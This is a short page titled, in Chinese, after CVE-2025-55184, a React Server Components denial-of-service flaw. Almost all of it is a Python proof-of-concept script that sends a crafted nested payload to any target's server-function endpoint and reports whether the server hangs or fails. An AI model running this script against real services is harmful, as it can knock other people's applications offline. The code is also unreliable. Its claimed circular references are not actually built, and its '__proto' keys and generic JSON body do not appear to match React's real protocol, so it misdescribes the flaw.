CVE-2025-55184 React Server Components 拒绝服务漏洞

#!/usr/bin/env python3 """ CVE-2025-55184 PoC - React Server Components DoS This PoC demonstrates sending a malicious payload to trigger infinite loop in React Server Components' unsafe deserialization. """ import requests import json import sys from urllib.parse import urljoin def create_malicious_payload(): """ Create a malicious payload designed to trigger infinite loop during deserialization in React Server Components. The payload contains circular references that cause infinite recursion. """ # Create a payload with circular reference structure payload = { "__typename": "ServerFunction", "data": { "__proto": { "nested": { "__proto": { "recursive": { "__proto": {} } } } } }, "chunks": [], "format": "raw" } # Add deeply nested structure to trigger stack overflow current = payload for i in range(1000): current["nested"] = {"value": i, "next": {}} current = current["next"] return payload def exploit(target_url, endpoint="/api/server-function"): """ Send malicious request to target Server Function endpoint. """ full_url = urljoin(target_url, endpoint) headers = { "Content-Type": "text/plain", "Accept": "application/json", "X-React-Server-Components": "1.0" } payload = create_malicious_payload() print(f"[*] Sending malicious payload to: {full_url}") print(f"[*] Payload size: {len(json.dumps(payload))} bytes") try: response = requests.post( full_url, data=json.dumps(payload), headers=headers, timeout=10 ) print(f"[!] Response received: {response.status_code}") except requests.exceptions.Timeout: print("[!] Request timed out - server may be hanging!") except requests.exceptions.ConnectionError: print("[!] Connection failed - server may be down!") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [endpoint]") print(f"Example: python {sys.argv[0]} http://vulnerable-app.com /api/action") sys.exit(1) target = sys.argv[1] endpoint = sys.argv[2] if len(sys.argv) > 2 else "/api/server-function" exploit(target, endpoint)